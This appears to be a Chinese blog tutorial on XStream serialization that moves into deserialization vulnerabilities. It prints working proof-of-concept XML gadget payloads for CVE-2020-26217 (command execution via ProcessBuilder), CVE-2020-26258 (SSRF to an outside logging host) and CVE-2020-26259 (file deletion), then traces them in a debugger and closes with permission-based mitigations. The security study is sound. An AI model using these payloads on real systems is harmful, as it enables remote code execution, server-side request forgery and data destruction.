Xstream是一种OXMapping 技术,是用来处理XML文件序列化的框架,在将JavaBean序列化,或将XML文件反序列化的时候,不需要其它辅助类和映射文件,使得XML序列化不再繁索。Xstream也可以将JavaBean序列化成Json或反序列化,使用非常方便。
Xstream序列化XML时可以允许用户使用不同的XML解析器,用户可以使用一个标准的JAXP DOM解析器或自Java6集成StAX解析器。这样用户就不需要依赖xpp3-[version].jar。
Xstream序列化XML时,也可以对XML节点重命名。
package org.example; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver; import com.thoughtworks.xstream.io.xml.DomDriver; import com.thoughtworks.xstream.io.xml.StaxDriver; public class Main { public static void main(String[] args) { Person bean = new Person("张三",19); XStream xstream_1 = new XStream();//需要XPP3库 XStream xstream_2 = new XStream(new DomDriver());//不需要XPP3库 XStream xstream_3 = new XStream(new StaxDriver());//不需要XPP3库开始使用Java6 xstream_3.alias("人",Person.class);//为类名节点重命名 //XML序列化 String xml_1 = xstream_1.toXML(bean); String xml_2 = xstream_2.toXML(bean); String xml_3 = xstream_3.toXML(bean); System.out.println(xml_1); System.out.println(xml_2); System.out.println(xml_3); //XML反序列化 bean = (Person)xstream_1.fromXML(xml_1); System.out.println(bean); bean = (Person)xstream_2.fromXML(xml_2); System.out.println(bean); bean = (Person)xstream_3.fromXML(xml_3); System.out.println(bean); } }
Xstream序列化Json与序列化XML类似,
package org.example; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver; import com.thoughtworks.xstream.io.xml.DomDriver; import com.thoughtworks.xstream.io.xml.StaxDriver; public class Main { public static void main(String[] args) { Person bean = new Person("张三",19); XStream xstream = new XStream(new JettisonMappedXmlDriver());//设置Json解析器 xstream.setMode(XStream.NO_REFERENCES);//设置reference模型,不引用 xstream.alias("人",Person.class);//为类名节点重命名 //Json序列化 String xml = xstream.toXML(bean); System.out.println(xml); //Json反序列化 bean = (Person)xstream.fromXML(xml); System.out.println(bean); } }
使用Xstream注解前需要对Xstream进行配置,可以使用两种方式:
Person.java
package org.example; import com.thoughtworks.xstream.annotations.XStreamAlias; import java.util.Arrays; import java.util.List; @XStreamAlias("人") class Person { @XStreamAlias("姓名") private String name; @XStreamAlias("年龄") private int age; @XStreamAlias("朋友") private List friends; public Person(String name, int age, String... friends) { this.name = name; this.age = age; this.friends = Arrays.asList(Arrays.toString(friends)); } @Override public String toString() { return "Person [name=" + name + ", age=" + age + ", friends=" + friends + "]"; } }
Main.java
package org.example; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver; import com.thoughtworks.xstream.io.xml.DomDriver; import com.thoughtworks.xstream.io.xml.StaxDriver; public class Main { public static void main(String[] args) { Person bean = new Person("张三",19); XStream xstream = new XStream(); xstream.processAnnotations(Person.class);//应用Person类的注解 xstream.autodetectAnnotations(true);//自动检测注解 //Json序列化 String xml = xstream.toXML(bean); System.out.println(xml); //Json反序列化 bean = (Person)xstream.fromXML(xml); System.out.println(bean); } }
XStream内部有许多转换器,用于JavaBean对象到XML或Json之间的转换。这些转换器的详细信息网址:http://xstream.codehaus.org/converters.html
PersonConverter.java
package org.example; import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; public class PersonConverter implements Converter { @Override//定义转换器能转换的JavaBean类型 public boolean canConvert(Class type) { return type.equals(Person.class); } @Override//把对象序列化成XML或Json public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) { Person person = (Person) value; writer.startNode("姓名"); writer.setValue(person.getName()); writer.endNode(); writer.startNode("年龄"); writer.setValue(person.getAge()+""); writer.endNode(); writer.startNode("转换器"); writer.setValue("自定义的转换器"); writer.endNode(); } @Override//把XML或Json反序列化成对象 public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { Person person = new Person("",-1); reader.moveDown(); person.setName(reader.getValue()); reader.moveUp(); reader.moveDown(); person.setAge(Integer.parseInt(reader.getValue())); reader.moveUp(); return person; } }
Person.java
package org.example; class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Person [name=" + name + ", age=" + age + "]"; } }
Main.java
package org.example; import com.thoughtworks.xstream.XStream; public class Main { public static void main(String[] args) { Person bean = new Person("张三",19); XStream xstream = new XStream(); xstream.registerConverter(new PersonConverter());//注册转换器 //序列化 String xml = xstream.toXML(bean); System.out.println(xml); //反序列化 bean = (Person)xstream.fromXML(xml); System.out.println(bean); } }
Person.java
package org.example; class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } }
Main.java
package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; import java.io.ObjectOutputStream; public class Main { public static void main(String[] args) throws IOException { XStream xstream = new XStream(); ObjectOutputStream out = xstream.createObjectOutputStream(System.out); out.writeObject(new Person("张三",12)); out.writeObject(new Person("李四",19)); out.writeObject("Hello"); out.writeInt(12345); out.close(); } }
Person.java
package org.example; class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } @Override public String toString() { return "Person [name=" + name + ", age=" + age + "]"; } }
Main.java
package org.example; import com.thoughtworks.xstream.persistence.FilePersistenceStrategy; import com.thoughtworks.xstream.persistence.PersistenceStrategy; import com.thoughtworks.xstream.persistence.XmlArrayList; import java.io.File; import java.io.IOException; import java.util.List; public class Main { public static void main(String[] args) { PersistenceStrategy strategy = new FilePersistenceStrategy(new File("./target")); List list = new XmlArrayList(strategy); list.add(new Person("张三",13));//保存数据 list.add(new Person("李四",21)); list.add(new Person("王五",17)); } }
下面是一个XStream开发实例,
poc.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>XStream_test</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.9</version> </dependency> <dependency> <groupId>org.codehaus.jettison</groupId> <artifactId>jettison</artifactId> <version>1.3.7</version> </dependency> </dependencies> </project>
创建源对象(就是需要被转换成XML的对象),Person.java
package org.example; class Person//JavaBean实体类 { private String name; private int age; public Person(String name,int age) { this.name=name; this.age=age; } @Override public String toString() { return "Person [name=" + name + ", age=" + age + "]"; } }
实现Java对象与XML的互转的主程序,
package org.example; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver; public class Main { public static void main(String[] args) { Person bean=new Person("张三",19); XStream xstream = new XStream(); //XML序列化 String xml = xstream.toXML(bean); System.out.println(xml); //XML反序列化 bean=(Person)xstream.fromXML(xml); System.out.println(bean); System.out.println("=============================="); xstream = new XStream(new JettisonMappedXmlDriver()); xstream.setMode(XStream.NO_REFERENCES); //Json序列化 String json=xstream.toXML(bean); System.out.println(json); //Json反序列 bean=(Person)xstream.fromXML(json); System.out.println(bean); } }
使用Xstream序列化时,对JavaBean没有任何限制。JavaBean的字段可以是私有的,也可以没有getter或setter方法,还可以没有默认的构造函数。
参考链接:
https://blog.csdn.net/qq_26718271/article/details/68941373 https://www.cnblogs.com/LiZhiW/p/4313493.html
不论是xml形式还是json形式还是Java原生序列化,本质都是将对象以字节码形式抽象出来,各种形式的序列化最终都是序列化类信息和该对象的属性域信息。
School.java
package org.example; public class School { private String name; private int classNum; public School(String name, int classNum) { this.name = name; this.classNum = classNum; } }
Student.java
package org.example; import java.io.IOException; import java.io.Serializable; public class Student implements Serializable { private String name; private int age; private School school; public Student(String name, int age, School school) { this.name = name; this.age = age; this.school = school; } private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); System.out.println("XML反序列化"); } }
Main.java
package org.example; import com.thoughtworks.xstream.XStream; public class Main { public static void main(String[] args) { XStream xStream = new XStream(); Student people = new Student("xiaoming", 25, new School("北京大学",500)); String xml = xStream.toXML(people); System.out.println(xml); Student object = (Student) xStream.fromXML(xml); } }
XStream.toXML方法如下,整个过程主要调用marshal处理,marshal主要用于编组对象图,
xStream.marshal()最终会调用到AbstractTreeMarshallingStrategy.marshal(),
TreeMarshaller.start如下,
TreeMarshaller.convertAnother调用DefaultConverterLookup.lookupConverterForType找查找转换器,
通过DefaultConverterLookup.lookupConverterForType找到类对应的转换器,然后调用TreeMarshaller.convert进行转换。
(AbstractReferenceMarshaller)TreeMarshaller.convert逻辑是调用对应转换器的doMarshal方法,如实现了Serializable的对象转换器是SerializableConverter,调用的是SerializableConverter.doMarshal。
SerializableConverter.doMarshal中核心是defaultWriteObject方法,该方法主要实现序列化所有属性域信息,和上面所述一样,按照属性的类对应的转换器来调用转换器的doMarshal方法,以此逻辑将所有属性信息序列化。比如本例中School对应的转换器是ReflectionConverter。
除了默认的序列化方法,在SerializableConverter.doMarshal中支持重写方法writeObject的调用,所以当类实现了Serializable并且重写了writeObject,则会调用重写的writeObject。
一般在重写的writeObject方法中还是会调用SerializableConverter.defaultWriteObject方法来进行属性的序列化。
反序列化fromXML类似。
参考链接:
https://r17a-17.github.io/2021/08/26/XStream%E5%BA%8F%E5%88%97%E5%8C%96%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/
通过上面分析我们知道,XStream可以实现任意Java XML对象的实例化,所以和反序列化漏洞类似,只要我们能找到一个”Java Gadget Chain“实现函数调用和参数传入,就可以利用XStream的XML反序列化函数,实现XML反序列化代码执行攻击。
但是需要注意的是,XStream反序列化的漏洞攻击面,相比原生Java反序列化的攻击面是要小的,XStream的”Java Gadget Chain“只能通过fromXML这个口子寻找。
首先引入满足漏洞条件的xstream包,小于1.4.13即可,
<dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.11</version> </dependency>
CVE_2020_26217.java
package org.example; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.StaxDriver; import java.io.IOException; public class CVE_2020_26217 { public static void main(String[] args) throws IOException { String pocXml = "<map>\n" + " <entry>\n" + " <jdk.nashorn.internal.objects.NativeString>\n" + " <flags>0</flags>\n" + " <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" + " <dataHandler>\n" + " <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" + " <contentType>text/plain</contentType>\n" + " <is class='java.io.SequenceInputStream'>\n" + " <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" + " <iterator class='javax.imageio.spi.FilterIterator'>\n" + " <iter class='java.util.ArrayList$Itr'>\n" + " <cursor>0</cursor>\n" + " <lastRet>-1</lastRet>\n" + " <expectedModCount>1</expectedModCount>\n" + " <outer-class>\n" + " <java.lang.ProcessBuilder>\n" + " <command>\n" + " <string>whoami</string>\n" + " </command>\n" + " </java.lang.ProcessBuilder>\n" + " </outer-class>\n" + " </iter>\n" + " <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" + " <method>\n" + " <class>java.lang.ProcessBuilder</class>\n" + " <name>start</name>\n" + " <parameter-types/>\n" + " </method>\n" + " <name>start</name>\n" + " </filter>\n" + " <next/>\n" + " </iterator>\n" + " <type>KEYS</type>\n" + " </e>\n" + " <in class='java.io.ByteArrayInputStream'>\n" + " <buf></buf>\n" + " <pos>0</pos>\n" + " <mark>0</mark>\n" + " <count>0</count>\n" + " </in>\n" + " </is>\n" + " <consumed>false</consumed>\n" + " </dataSource>\n" + " <transferFlavors/>\n" + " </dataHandler>\n" + " <dataLen>0</dataLen>\n" + " </value>\n" + " </jdk.nashorn.internal.objects.NativeString>\n" + " <string>test</string>\n" + " </entry>\n" + "</map>"; XStream xstream = new XStream(new StaxDriver()); xstream.fromXML(pocXml); } }
package org.example; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.StaxDriver; import java.io.IOException; public class CVE_2020_26217 { public static void main(String[] args) throws IOException { String pocXml = "<map>\n" + " <entry>\n" + " <jdk.nashorn.internal.objects.NativeString>\n" + " <flags>0</flags>\n" + " <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" + " <dataHandler>\n" + " <dataSource class='javax.activation.URLDataSource'>\n" + " <url>http://718acc2896.ipv6.1433.eu.org/:</url>\n" + " </dataSource>\n" + " <transferFlavors/>\n" + " </dataHandler>\n" + " <dataLen>0</dataLen>\n" + " </value>\n" + " </jdk.nashorn.internal.objects.NativeString>\n" + " <string>test</string>\n" + " </entry>\n" + "</map>"; XStream xstream = new XStream(new StaxDriver()); xstream.fromXML(pocXml); } }
这是一个任意文件删除漏洞,xstream版本需要小于1.4.14
首先在某个目录下创建一个test.txt,poc代码如下:
package org.example; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.StaxDriver; import java.io.IOException; public class Poc { public static void main(String[] args) throws IOException { String pocXml = "<map>\n" + " <entry>\n" + " <jdk.nashorn.internal.objects.NativeString>\n" + " <flags>0</flags>\n" + " <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" + " <dataHandler>\n" + " <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" + " <contentType>text/plain</contentType>\n" + " <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" + " <tempFile>/Users/zhenghan/Projects/XStream_test/target/test.txt</tempFile>\n" + " </is>\n" + " </dataSource>\n" + " <transferFlavors/>\n" + " </dataHandler>\n" + " <dataLen>0</dataLen>\n" + " </value>\n" + " </jdk.nashorn.internal.objects.NativeString>\n" + " <string>test</string>\n" + " </entry>\n" + "</map>"; XStream xstream = new XStream(new StaxDriver()); xstream.fromXML(pocXml); } }
调试跟踪一下源码,
首先进入com.thoughtworks.xstream.XStream#fromXML(java.io.Reader)函数,
接着进入com.thoughtworks.xstream.XStream#unmarshal(com.thoughtworks.xstream.io.HierarchicalStreamReader, java.lang.Object, com.thoughtworks.xstream.converters.DataHolder)函数。
跟进到com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap函数,在 Xstream 构建 entry 的过程中,将本次的 key 值NativeString,put 到 map 中:
进入put函数中,发现key值会被传进hash函数,继续跟进,
发现key值就调用hashCode()函数,如果恶意类在hashCode中有恶意操作,就可能导致恶意指令执行。
在本例中,我们注入的类是NativeString就是这个类,
我们进入jdk.nashorn.internal.objects.NativeString#hashCode函数,发现它调用了getStringValue函数,而getStringValue函数里面的value又调用了toString函数,这里的value就是Base64Data类。
跟进toString函数,发现调用了get函数,继续跟进get函数,
发现CVE-2020-26258和CVE-2020-26259这的触发点,CVE-2020-26217 利用的是readFrom 及其后续,不过因为 Xstream 黑名单限制了进行远程代码执行。
而CVE-2020-26258和CVE-2020-26259利用 getInputStream 函数与 close 函数分别进行 ssrf 和文件删除。
下面是getInputStream 函数导致SSRF漏洞的触发点,
下面是close函数导致文件删除的触发点,
XStream xstream = new XStream(); // 首先清除默认设置,然后进行自定义设置 xstream.addPermission(NoTypePermission.NONE); //将ImageIO类加入黑名单 xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class})); xstream.fromXML(xml);
XStream xstream = new XStream(); // 首先清除默认设置,然后进行自定义设置 xstream.addPermission(NoTypePermission.NONE); // 添加一些基础的类型,如Array、NULL、primitive xstream.addPermission(ArrayTypePermission.ARRAYS); xstream.addPermission(NullPermission.NULL); xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); // 添加自定义的类列表 stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
参考链接:
https://blog.csdn.net/qq_34101364/article/details/114858734